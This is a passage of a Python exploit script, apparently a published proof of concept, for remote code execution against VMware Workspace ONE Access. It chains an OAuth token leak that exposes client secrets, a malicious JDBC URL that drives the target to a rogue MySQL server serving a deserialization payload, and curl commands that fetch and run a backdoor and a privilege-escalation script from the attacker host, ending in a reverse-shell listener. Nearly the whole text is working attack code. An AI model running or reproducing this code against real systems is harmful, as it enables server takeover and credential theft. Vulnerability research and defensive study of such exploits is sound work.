"6d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465" 356 | _data += "660000000974696d655f7a6f6e65000c210012000000fd00001f00002b000013" 357 | _data += "03646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21" 358 | _data += "002d000000fd00001f000022000014036465660000000c776169745f74696d65" 359 | _data += "6f7574000c3f001500000008a000000000f90000150131047574663804757466" 360 | _data += "380475746638066c6174696e31116c6174696e315f737765646973685f636900" 361 | _data += "0532383830300347504c01300734313934333034023630073130343835373603" 362 | _data += "4f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452" 363 | _data += "414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45" 364 | _data += "524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45" 365 | _data += "524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e45" 366 | _data += "5f535542535449545554494f4e035554430653595354454d0f52455045415441" 367 | _data += "424c452d5245414405323838303007000016fe000002000200" 368 | server_send(conn, _data) 369 | data = server_receive(conn) 370 | if "show session status" in data: 371 | _data = "01000001022700000203646566056365736869046f626a73046f626a73026964" 372 | _data += "0269640c3f000b0000000300000000002900000303646566056365736869046f" 373 | _data += "626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000" 374 | _payload_hex = str(hex(len(deserialization_payload)//2)).replace('0x', '').zfill(4) 375 | _payload_length = _payload_hex[2:4] + _payload_hex[0:2] 376 | _data_hex = str(hex(len(deserialization_payload)//2 + 5)).replace('0x', '').zfill(6) 377 | _data_length = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2] 378 | _data += _data_length + '04' + '0131fc' + _payload_length + deserialization_payload.decode() 379 | _data += '07000005fe000022000100' 380 | server_send(conn, _data) 381 | data = server_receive(conn) 382 | if "show warnings" in data: 383 | _data = "01000001031b00000203646566000000054c6576656c000c210015000000fd01" 384 | _data += "001f00001a0000030364656600000004436f6465000c3f000400000003a10000" 385 | _data += "00001d00000403646566000000074d657373616765000c210000060000fd0100" 386 | _data += "1f00006d000005044e6f74650431313035625175657279202753484f57205345" 387 | _data += "5353494f4e20535441545553272072657772697474656e20746f202773656c65" 388 | _data += "63742069642c6f626a2066726f6d2063657368692e6f626a7327206279206120" 389 | _data += "7175657279207265777269746520706c7567696e07000006fe000002000000" 390 | server_send(conn, _data) 391 | break 392 | try: 393 | # we run 5 commands against the server before we finish 394 | if cmd_count == 5: 395 | cmd_count = 0 396 | conn.close() 397 | except Exception as e: 398 | pass 399 | 400 | def gen_key(): 401 | return str.encode(sha256(str(getrandbits(256)).encode('utf-8')).hexdigest()) 402 | 403 | def handler(lp): 404 | print(f"(+) starting handler on port {lp}") 405 | t = Telnet() 406 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 407 | s.bind(("0.0.0.0", lp)) 408 | s.listen(1) 409 | conn, addr = s.accept() 410 | print(f"(+) connection from {addr[0]}") 411 | t.sock = conn 412 | print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}") 413 | t.interact() 414 | 415 | # vuln 2 416 | def get_hostname(t): 417 | r = get("https://{}/SAAS/jersey/manager/api/branding".format(t), verify=False) 418 | assert r.headers['content-type'] == 'application/vnd.vmware.horizon.manager.branding+json;charset=UTF-8', "(-) unexpected content-type cannot leak hostname" 419 | return urlparse(r.json()['userPortal']['mfaIconDownload']).hostname 420 | 421 | # vuln 1 422 | def get_jwt(t): 423 | oauth_client = choice(['Service__OAuth2Client', 'acs']) 424 | r = post(f"https://{t}/SAAS/API/1.0/REST/oauth2/generateActivationToken/{oauth_client}", verify=False) 425 | assert r.headers['content-type'] == "application/json;charset=UTF-8","(-) unexpected response from token generation" 426 | code = r.json()['activationToken'] 427 | ota = loads(b64decode(code))['ota'] 428 | print(f"(+) {Fore.LIGHTRED_EX}leaked ota token: {Style.RESET_ALL} {Fore.LIGHTGREEN_EX}{ota}{Style.RESET_ALL}") 429 | r = post(f"https://{t}/SAAS/API/1.0/REST/oauth2/activate", data=code,verify=False) 430 | assert r.headers['content-type'] == "application/json;charset=UTF-8","(-) unexpected response from token activation" 431 | ci = r.json()['client_id'] 432 | cs = r.json()['client_secret'] 433 | print(f"(+) {Fore.LIGHTRED_EX}leaked client_secret:{Style.RESET_ALL} {Fore.LIGHTGREEN_EX}{cs}{Style.RESET_ALL}") 434 | p = { 435 | "grant_type" : "client_credentials", 436 | "client_id" : ci, 437 | "client_secret" : cs 438 | } 439 | r = post(f"https://{t}/SAAS/auth/oauthtoken", data=p, verify=False) 440 | assert r.headers['content-type'] == "application/json;charset=UTF-8","(-) unexpected response from access token generation" 441 | return r.json()['access_token'] 442 | 443 | # vuln 4 444 | def trigger_jdbc(t, jwt, uri): 445 | d = { 446 | "jdbcUrl": uri, 447 | "dbUsername":"", 448 | "dbPassword":"" 449 | } 450 | h = { "cookie" : f"HZN={jwt}" } 451 | post(f"https://{t}/SAAS/API/1.0/REST/system/dbCheck", headers=h, data=d, verify=False) 452 | 453 | def banner(): 454 | return f"""{Fore.RED + Style.BRIGHT} 455 | __ __ __ __ 456 | / // /__ / /_____ _/ /____ 457 | / _ / -_) '_/ _ `/ __/ -_) 458 | /_//_/\__/_/\_\\\_,_/\__/\__/ 459 | 460 | {Style.RESET_ALL}A VMWare Workspace ONE Access RCE Exploit 461 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 462 | """ 463 | 464 | def get_args(prog): 465 | helpm = f"Examples: \r\n{prog} -t 192.168.184.165 -c 192.168.184.146:1234 -v client" 466 | helpm += f"\r\n{prog} -t 192.168.184.165 -c 192.168.184.146:1234 -v server" 467 | parser = ArgumentParser(epilog=helpm, formatter_class=RawTextHelpFormatter) 468 | v = ["client", "server"] 469 | parser.add_argument('-t', '--target', dest='target', action='store', type=str, required=True, 470 | help='The target ip', metavar='[ip]') 471 | parser.add_argument('-c', '--connectback', dest='connectback', action='store', type=str, required=True, 472 | help='The connectback/attacking ip or hostname and port', metavar='[ip:port]') 473 | parser.add_argument('-v', '--vector', dest='vector', action='store', type=str, required=True, 474 | default="client", choices=v, help='The vector for exploitation. Either '+' or '.join(v), metavar='[vector]') 475 | return parser.parse_args() 476 | 477 | def validip(ip): 478 | return ip.count('.') == 3 and all(0<=int(num)<256 for num in ip.rstrip().split('.')) 479 | 480 | if __name__ == "__main__": 481 | print(banner()) 482 | args = get_args(argv[0]) 483 | key = gen_key() 484 | rport = 1337 485 | rhost = args.connectback 486 | target = args.target 487 | http_port = 8080 488 | mysql_port = 3306 489 | assert validip(target), "(-) you need to provide a valid ip address as the target" 490 | if ":" in args.connectback: 491 | rhost = args.connectback.split(":")[0] 492 | assert args.connectback.split(":")[1].isnumeric(),"(-) port must be a valid integer" 493 | rport = int(args.connectback.split(":")[1]) 494 | cmd_entries = { 495 | 0:f"curl http://{rhost}:{http_port}/bdr.py -o /tmp/a", 496 | 1:f"curl http://{rhost}:{http_port}/lpe.sh -o /tmp/b", 497 | 2:"chmod 755 /tmp/a", 498 | 3:"chmod 755 /tmp/b", 499 | 4:"python /tmp/a", 500 | } 501 | jdbc_uri = "jdbc:mysql://{h}:{p}/{k}".format(h=rhost, p=mysql_port, k=key.decode()) 502 | jdbc_uri += "?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 503 | # connectback for the mysql server to deliver deserialization payload 504 | handlerthr = Thread(target=run_mysql_server, args=["0.0.0.0", mysql_port]) 505 | handlerthr.daemon = True 506 | handlerthr.start() 507 | print(f"(+) attacking target via the mysql driver") 508 | print(f"(+) rogue mysql server listening on 0.0.0.0:{mysql_port}") 509 | # connectback http server for the csrf exploit and MySQL JDBC driver exploitation 510 | server = HTTPServer(('0.0.0.0', http_port), http_server) 511 | handlerthr = Thread(target=server.serve_forever, args=[]) 512 | handlerthr.daemon = True 513 | handlerthr.start() 514 | print(f"(+) rogue http server listening on 0.0.0.0:{http_port}") 515 | if args.vector == "client": 516 | hostname = get_hostname(target) 517 | print(f"(+) send the victim to: {Fore.CYAN + Back.MAGENTA + Style.BRIGHT}http://{rhost}:{http_port}/pwn{Style.RESET_ALL}") 518 | else: 519 | jwt = get_jwt(target) 520 | for i in range(0, 5): 521 | trigger_jdbc(target, jwt, jdbc_uri) 522 | handlerthr = Thread(target=handler, args=[rport]) 523 | handlerthr.start() 524 | --------------------------------------------------------------------------------